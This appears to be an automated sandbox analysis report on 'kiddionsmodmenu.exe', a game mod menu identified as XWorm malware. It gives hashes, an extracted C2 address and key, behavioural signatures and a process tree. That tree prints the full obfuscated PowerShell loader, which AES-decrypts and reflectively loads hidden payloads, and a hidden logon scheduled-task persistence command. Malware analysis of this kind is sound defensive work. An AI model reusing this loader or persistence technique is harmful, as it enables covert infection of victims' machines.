Resubmissions
14/05/2024, 11:22
240514-ngk71sdg28 1014/05/2024, 11:22
240514-ngkw9add6y 1014/05/2024, 11:22
240514-ngklgsdg27 1014/05/2024, 11:22
240514-ngkaqadd6w 1014/05/2024, 11:22
240514-ngjzysdd6v 1014/05/2024, 11:22
240514-ngjn7add6t 1014/05/2024, 11:22
240514-ngh3nadd6s 1014/05/2024, 11:22
240514-ngh3nadg25 1014/05/2024, 11:21
240514-nghrwsdd51 1014/05/2024, 11:21
240514-ngg6csdd5z 10Analysis
-
max time kernel
142s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
14/05/2024, 11:22
Static task
static1
Behavioral task
behavioral1
Sample
kiddionsmodmenu.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
kiddionsmodmenu.exe
Resource
win7-20240508-en
Behavioral task
behavioral3
Sample
kiddionsmodmenu.exe
Resource
win10v2004-20240226-en
General
-
Target
kiddionsmodmenu.exe
-
Size
386KB
-
MD5
88e737816cc5f3e3809152c5f9dad5be
-
SHA1
56dedf42285c74795f714dbac7782a5d0e695a97
-
SHA256
6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
-
SHA512
8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
-
SSDEEP
12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn
Malware Config
Extracted
xworm
5.0
94.156.8.167:2020
8sPZSP21r8KwS1LM
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral3/memory/2644-87-0x0000000005270000-0x000000000527E000-memory.dmp family_xworm -
Blocklisted process makes network request 1 IoCs
flow pid Process 52 2644 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2644 powershell.exe 1112 powershell.exe 4688 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation kiddionsmodmenu.exe Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1112 powershell.exe 1112 powershell.exe 4688 powershell.exe 4688 powershell.exe 4688 powershell.exe 2644 powershell.exe 2644 powershell.exe 2644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1112 powershell.exe Token: SeDebugPrivilege 4688 powershell.exe Token: SeIncreaseQuotaPrivilege 4688 powershell.exe Token: SeSecurityPrivilege 4688 powershell.exe Token: SeTakeOwnershipPrivilege 4688 powershell.exe Token: SeLoadDriverPrivilege 4688 powershell.exe Token: SeSystemProfilePrivilege 4688 powershell.exe Token: SeSystemtimePrivilege 4688 powershell.exe Token: SeProfSingleProcessPrivilege 4688 powershell.exe Token: SeIncBasePriorityPrivilege 4688 powershell.exe Token: SeCreatePagefilePrivilege 4688 powershell.exe Token: SeBackupPrivilege 4688 powershell.exe Token: SeRestorePrivilege 4688 powershell.exe Token: SeShutdownPrivilege 4688 powershell.exe Token: SeDebugPrivilege 4688 powershell.exe Token: SeSystemEnvironmentPrivilege 4688 powershell.exe Token: SeRemoteShutdownPrivilege 4688 powershell.exe Token: SeUndockPrivilege 4688 powershell.exe Token: SeManageVolumePrivilege 4688 powershell.exe Token: 33 4688 powershell.exe Token: 34 4688 powershell.exe Token: 35 4688 powershell.exe Token: 36 4688 powershell.exe Token: SeIncreaseQuotaPrivilege 4688 powershell.exe Token: SeSecurityPrivilege 4688 powershell.exe Token: SeTakeOwnershipPrivilege 4688 powershell.exe Token: SeLoadDriverPrivilege 4688 powershell.exe Token: SeSystemProfilePrivilege 4688 powershell.exe Token: SeSystemtimePrivilege 4688 powershell.exe Token: SeProfSingleProcessPrivilege 4688 powershell.exe Token: SeIncBasePriorityPrivilege 4688 powershell.exe Token: SeCreatePagefilePrivilege 4688 powershell.exe Token: SeBackupPrivilege 4688 powershell.exe Token: SeRestorePrivilege 4688 powershell.exe Token: SeShutdownPrivilege 4688 powershell.exe Token: SeDebugPrivilege 4688 powershell.exe Token: SeSystemEnvironmentPrivilege 4688 powershell.exe Token: SeRemoteShutdownPrivilege 4688 powershell.exe Token: SeUndockPrivilege 4688 powershell.exe Token: SeManageVolumePrivilege 4688 powershell.exe Token: 33 4688 powershell.exe Token: 34 4688 powershell.exe Token: 35 4688 powershell.exe Token: 36 4688 powershell.exe Token: SeIncreaseQuotaPrivilege 4688 powershell.exe Token: SeSecurityPrivilege 4688 powershell.exe Token: SeTakeOwnershipPrivilege 4688 powershell.exe Token: SeLoadDriverPrivilege 4688 powershell.exe Token: SeSystemProfilePrivilege 4688 powershell.exe Token: SeSystemtimePrivilege 4688 powershell.exe Token: SeProfSingleProcessPrivilege 4688 powershell.exe Token: SeIncBasePriorityPrivilege 4688 powershell.exe Token: SeCreatePagefilePrivilege 4688 powershell.exe Token: SeBackupPrivilege 4688 powershell.exe Token: SeRestorePrivilege 4688 powershell.exe Token: SeShutdownPrivilege 4688 powershell.exe Token: SeDebugPrivilege 4688 powershell.exe Token: SeSystemEnvironmentPrivilege 4688 powershell.exe Token: SeRemoteShutdownPrivilege 4688 powershell.exe Token: SeUndockPrivilege 4688 powershell.exe Token: SeManageVolumePrivilege 4688 powershell.exe Token: 33 4688 powershell.exe Token: 34 4688 powershell.exe Token: 35 4688 powershell.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1496 wrote to memory of 4304 1496 kiddionsmodmenu.exe 89 PID 1496 wrote to memory of 4304 1496 kiddionsmodmenu.exe 89 PID 1496 wrote to memory of 4304 1496 kiddionsmodmenu.exe 89 PID 4304 wrote to memory of 3112 4304 cmd.exe 92 PID 4304 wrote to memory of 3112 4304 cmd.exe 92 PID 4304 wrote to memory of 3112 4304 cmd.exe 92 PID 4304 wrote to memory of 1112 4304 cmd.exe 93 PID 4304 wrote to memory of 1112 4304 cmd.exe 93 PID 4304 wrote to memory of 1112 4304 cmd.exe 93 PID 1112 wrote to memory of 4688 1112 powershell.exe 102 PID 1112 wrote to memory of 4688 1112 powershell.exe 102 PID 1112 wrote to memory of 4688 1112 powershell.exe 102 PID 1112 wrote to memory of 4044 1112 powershell.exe 106 PID 1112 wrote to memory of 4044 1112 powershell.exe 106 PID 1112 wrote to memory of 4044 1112 powershell.exe 106 PID 4044 wrote to memory of 4344 4044 WScript.exe 107 PID 4044 wrote to memory of 4344 4044 WScript.exe 107 PID 4044 wrote to memory of 4344 4044 WScript.exe 107 PID 4344 wrote to memory of 2456 4344 cmd.exe 109 PID 4344 wrote to memory of 2456 4344 cmd.exe 109 PID 4344 wrote to memory of 2456 4344 cmd.exe 109 PID 4344 wrote to memory of 2644 4344 cmd.exe 110 PID 4344 wrote to memory of 2644 4344 cmd.exe 110 PID 4344 wrote to memory of 2644 4344 cmd.exe 110
Processes
-
C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zSFD0D.tmp\XClient_Dealed.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zSFD0D.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:3112
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1112 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_378_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_378.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4688
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_378.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_378.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_378.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:2456
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2644
-
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4460 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:81⤵PID:3272
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD59751fcb3d8dc82d33d50eebe53abe314
SHA17a680212700a5d9f3ca67c81e0e243834387c20c
SHA256ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7
SHA51254907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709
-
Filesize
54KB
MD5ef9a8a0ecf5d36236b1c13ae9d29c62b
SHA1d6deb1f008d17c153d3cec61a7a47a415838670c
SHA25630dd9a729b4ad719b08d5c01b36808f649f7ae0ca5a25f0c7a3a38ede50f695e
SHA5127107afc957bbbdadc941d9b640b109314f2acea694ade1afcb4ac6acfef41d09940d38a27f3f798a7661a0f9ff1b48e1f963132de0259f8c98cf12dbcb0cb075
-
Filesize
20KB
MD575e62548ce4d261631dc67a3c47d9e36
SHA17c57e23f6f3baa12faec22c628de5984d3df7726
SHA256bb19912fb731c78bd725f458d39f7648d1f547c0e3b137682ab8a170e28ae097
SHA5123aaf315dc3b651c800f9df0096e6bbb215fb67f686e8eeb52f0b99e7a57b1e6429696ebda41b4b43f8667dccad30beb07618948dd648bd12e9ad63c943a0973f
-
Filesize
152KB
MD50b426e8571f8d3e437b7a42e9b8fd808
SHA1986edba4c39be9edb552284dac555e2e95f68a4a
SHA2569c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e
SHA512e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
115B
MD50e9038adfadd71a35803596034804ab5
SHA102a5f7cfe5b2a8358aa08468703bd395eb2bc8a9
SHA256d0e8b05374f70aa7b0e4f6db4b97f3ced994ad17aa295076e279bc03dd9c2e09
SHA5127df5a008195cdea542c830f06cf81f4db25179c2238e019c9a365cca5b5689c9f2a9e83d8acec14ed5f80545e2541ed984e0bcd3eba4dfb77a3b0bf7f12dcfdc